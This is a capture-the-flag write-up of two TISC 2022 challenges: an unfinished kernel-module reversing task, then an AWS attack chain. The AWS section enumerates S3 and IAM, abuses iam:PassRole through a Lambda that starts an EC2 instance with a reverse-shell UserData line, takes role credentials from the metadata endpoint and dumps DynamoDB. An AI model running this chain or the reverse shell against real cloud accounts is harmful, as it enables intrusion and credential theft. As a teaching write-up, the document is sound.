CSIT TISC 2022 (2)¶
Level 4a : One Knock Away [attempted but did not complete]¶
One of our clients' server was recently compromised by PALINDROME. We recovered one suspicious artifact from the server. Can you figure out what it is? (The file can only be loaded in a specific VM!)
Basic Static Analysis¶
- For the basic static analysis above, Detect-It-Easy, linux
file
andreadelf
command was used.
File Classification¶
- We can gather a few information, this is a :
- 64-bit ELF file for Ubuntu 20.04.1,
- likely not packed
- the
REL
flag set (relocatable file) more on the differences can be found here.
Looking into .dynsym
¶
- Following this blog we focused our search on the following 3 symbol types.
readelf -s | grep -i 'func'
readelf -s | grep -i 'object'
readelf -s | grep -i 'file'
Strings¶
Reverse Engineering¶
- The author CY1603 has been nice by putting a
dont_need_to_reverse_this
and hence we will do what the author has told us to. We will also not be reversingdffqa
andprint_flag
as they seem to just be worker functions fordont_need_to_reverse_this
.
init_module && cleanup_module¶
hook_func¶
[too long to display]
ppyq¶
Level 4b : CloudyNekos¶
We have received intelligence that Palindrome has started a global computing infrastructure to be made available to its agent to spin up C2 instances. They relied on Cloud Service Providers like AWS to provide computing resources for its agents. They have their own custom built access system e-service portal that generate short-lived credentials for their agents to use their computing infrastructure. It was said that their access system e-service was diguised as a blog site.
We need your help to access their computing resources and exfiltrate any meaningful intelligence for us.
Start here: http://d20whnyjsgpc34.cloudfront.net
Recon¶
Mapping Visible Content¶
Content Exploration¶
- Based on the comment found above, we can guess the address of the S3 bucket to be :
palindromecloudynekos.s3.amazonaws.com
Looking for Hidden Content¶
Feroxbuster¶
feroxbuster -u https://d20whnyjsgpc34.cloudfront.net/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -o big_ferox -x html
- Nothing interesting was found, just the error page and
/soap
is likely the API endpoint to call the S3 bucket.
S3 Bucket Enumeration¶
- Following this guide we will need to install aws-cli on our Kali machine first then create an AWS account and generate a secret key before proceeding with below.
- Next we list the content of the bucket using the following command:
aws s3 ls s3://palindromecloudynekos
- Then we want to see what objects are in the folders
aws s3api list-objects --bucket palindromecloudynekos
{
"Contents": [
{
"Key": "api/notes.txt",
"LastModified": "2022-08-23T13:16:20.000Z",
"ETag": "\"b65f26503b0dd488334582aa21f7bda4\"",
"Size": 432,
"StorageClass": "STANDARD"
},
{
"Key": "error.html",
"LastModified": "2022-08-23T13:16:20.000Z",
"ETag": "\"9771d7ba5b393dcef59ddb260cecc6bc\"",
"Size": 34,
"StorageClass": "STANDARD"
},
{
"Key": "img/photo1.jpg",
"LastModified": "2022-07-22T10:02:45.000Z",
"ETag": "\"9e620e851f5fae15e5637cc914548406\"",
"Size": 404845,
"StorageClass": "STANDARD"
},
...
{
"Key": "index.html",
"LastModified": "2022-08-23T13:16:20.000Z",
"ETag": "\"b299661e57fff70507663e91f2958410\"",
"Size": 2257,
"StorageClass": "STANDARD"
}
]
}
/api/notes.txt
looks particularly interesting, so we will attempt to download it with the aws-cli. The content of notes.txt is shown below.
aws s3api get-object --bucket palindromecloudynekos --key api/notes.txt notes.txt
Understanding notes.txt
¶
- To understand notes.txt, we must first know what the link
https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent
is about. - We noticed a 'execute-api' and began to searched the AWS documentation. From, the documentation we know that the above link is a REST API Invocation of Amazon API Gateway.
- This corresponds to the content in notes.txt about invoking the API. We then invoked the API as per instruction and we get the follwing request.
Scout Suite Enumeration¶
scout aws --access-key-id <access key> --secret-access-key <secret key>
- We noticed an interesting VPC with the name palindrome.
- The command below is based on this stackoverflow thread, confirms that the palindrome VPC has an internet gateway.
aws ec2 describe-route-tables --query "RouteTables[].Routes[]" --filter Name=association.subnet-id,Values=subnet-0aa6ecdf900166741
Permission Enumeration¶
- With reference to this guide, we start with enumerating the permissions of this account. In this enumeration we cross referenced with 3 different sources - #enumerate-iam, #Pacu iam__enum_permissions and #Pacu iam__bruteforce_permissions to get a list of permissions found in #Consolidated Permissions Enumerated.
enumerate-iam¶
- Using the tool enumerate-iam, we attempted to bruteforce
python enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY --region ap-southeast-1
Pacu iam__bruteforce_permissions
¶
- We used the tool pacu by RhinoSecurityLabs to do an additional bruteforce on IAM permissions.
run iam__bruteforce_permissions
Pacu iam__enum_permissions
¶
run iam__enum_permissions
whoami
- These are the additional permissions that were enumerated.
Roles Permission Enumeration¶
- Based on the result of Pacu's
iam__enum_permissions
, we can see that current user hasiam:PassRole
tolambda_agent_development_role
Hence we will need to find out more about the role and it's permission.
# to get policy-arn
aws iam list-attached-role-policies --role-name lambda_agent_development_role --profile temp
aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role --version-id v2 --profile temp
- Then we see that there is another PassRole to
aws iam list-attached-role-policies --role-name ec2_agent_role --profile temp
aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agentrole --version-id v2 --profile temp
Consolidated Permissions Enumerated¶
- The results from both were largely similar but as the list used in enumeration is different, there are some differences.
- Below is the consolidated permissions of all the related roles.
###### Compromised User
#ec2
describe-instance-types
describe-regions
describe-route-tables
describe-security-groups
describe-subnets
describe-vpcs
get-associated-enclave-certificate-iam-roles
get-console-screenshot
get-host-reservation-purchase-preview
#s3
get-object-torrent
head-bucket
ls s3://<bucket_name>
#sts
get-caller-identity
get-session-token
#iam
list-roles
list-instance-profiles
get-policy
get-policy-version
list-attached-role-policies
list-attached-user-policies
pass-role
#dynamodb
describe-endpoints
#s3api
list-objects
get-object
#lambda
invoke-function
create-function
get-function
###### lambda_agent_development_role
#ec2
run-instances
create-volume
create-tags
#iam
PassRole
#lambda
get-function
###### ec2_agent_role
#dynamodb
describe-table
list-tables
scan
query
Formulating Attack Chain¶
- From our enumeration above and reference to hackingthe.cloud, it seems like our compromised user can create an EC2 Instance by making use of the lambda function with which we can get the AWS Access and Secret Key of the role
ec2_agent_role
from169.254.169.254/metadata/latest
and then get to Dynamo DB with the credentials.
Lambda Script to Create EC2 Instance¶
- The python script below is used to create an EC2 instance with lambda.
- In this script below, we added an
init_scipt
to tell the
IamInstanceProfile
is very Important here as it is required to get access to the IAM role. Without it, the instance will still be created, but it will not be attached to a role and we will not have this page/latest/meta-data/iam/
."Open Source" AMI Image Id like Amazon Linux and Ubuntu AMIs are uniformed across all users and we can get it by : 1. Registering an AWS account and look for it at the create EC2 form. 2. Referencing AWS AMI page or Ubuntu Cloud Images page.
import boto3
REGION = 'ap-southeast-1'
AMI = 'ami-08569b978cc4dfa10'
INSTANCE_TYPE = 't2.micro'
SUBNET_ID = 'subnet-0aa6ecdf900166741'
EC2 = boto3.client('ec2', region_name=REGION)
def lambda_handler(event, context):
init_script = """#!/bin/bash
bash -i >& /dev/tcp/<ip address>/8080 0>&1
"""
instance = EC2.run_instances(
ImageId=AMI,
InstanceType=INSTANCE_TYPE,
SubnetId=SUBNET_ID,
MinCount=1,
MaxCount=1,
TagSpecifications=[{'ResourceType': 'instance','Tags': [{"Key": "agent", "Value": "user-9d084cfc30dc44a8b84e9cfe79007c72"}]}],
UserData=init_script
IamInstanceProfile={'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'},
)
print("New instance created.")
instance_id = instance['Instances'][0]['InstanceId']
print(instance_id)
return instance_id
Creating and Invoking Lambda¶
- Based on the permissions above, the compromsed user only has permissions to create and invoke lambda resources with the following name
arn:aws:lambda:ap-southeast-1:<account id>:function:$(aws:username)-*
hence we will need to create a function with function name<username>-<own function name>
aws lambda create-function --function-name <username>-SI --role arn:aws:iam::<account-id>:role/lambda_agent_development_role --runtime python3.9 --handler <name of file>.<handler> --profile temp --zip-file fileb://SI.py.zip
- After creating the lambda functin above, we can now invoke the lambda function with the following command :
aws lambda invoke --function-name <username>-SI outfile --profile temp
Getting Reverse Shell¶
- We have our own EC2 instance already set up to wait for the incoming reverse shell triggered by the
init_scipt
.
Post Exploitation¶
- Then from our Reverse Shell, we can curl the URL below :
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_agent_role
- This gives us the temporary credentials to
ec2_agent_role
.
- We verify that the credentials are for ec2_agent_role with :
aws sts get-caller-identity
- The now we start with querying the Dynamodb.
aws dynamodb list-tables --profile ec2agent
aws dynamodb describe-table --table-name flag_db --profile ec2agent
aws dynamodb scan --table-name flag_db --profile ec2agent